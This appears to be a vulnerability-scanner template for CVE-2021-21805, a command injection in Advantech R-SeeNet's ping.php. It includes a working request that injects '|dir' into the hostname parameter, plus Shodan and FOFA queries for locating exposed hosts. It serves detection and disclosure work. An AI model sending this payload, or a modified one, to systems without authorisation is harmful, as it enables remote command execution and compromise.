CVE-2021-21805: Advantech R-SeeNet 2.4.12 - OS Command Injection

id: CVE-2021-21805

info:
  name: Advantech R-SeeNet 2.4.12 - OS Command Injection
  author: arafatansari
  severity: critical
  description: |
    Advantech R-SeeNet 2.4.12 is susceptible to remote OS command execution via the ping.php script functionality. An attacker, via a specially crafted HTTP request, can execute malware, obtain sensitive information, modify data, and/or gain full control over a compromised system without entering necessary credentials.
  impact: |
    Successful exploitation of this vulnerability allows remote attackers to execute arbitrary commands on the affected system.
  remediation: |
    Update to the latest version of Advantech R-SeeNet to mitigate this vulnerability.
  reference:
    - https://talosintelligence.com/vulnerability_reports/TALOS-2021-1274
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-21805
    - https://nvd.nist.gov/vuln/detail/CVE-2021-21805
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2021-21805
    cwe-id: CWE-78
    epss-score: 0.9243
    epss-percentile: 0.99724
    cpe: cpe:2.3:a:advantech:r-seenet:2.4.12:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: advantech
    product: r-seenet
    shodan-query:
      - http.html:"R-SeeNet"
      - http.html:"r-seenet"
    fofa-query: body="r-seenet"
  tags: cve2021,cve,rce,r-seenet,advantech

http:
  - method: GET
    path:
      - "{{BaseURL}}/php/ping.php?hostname=|dir"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<title>Ping |dir</title>"
          - "bottom.php"
        condition: and

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200
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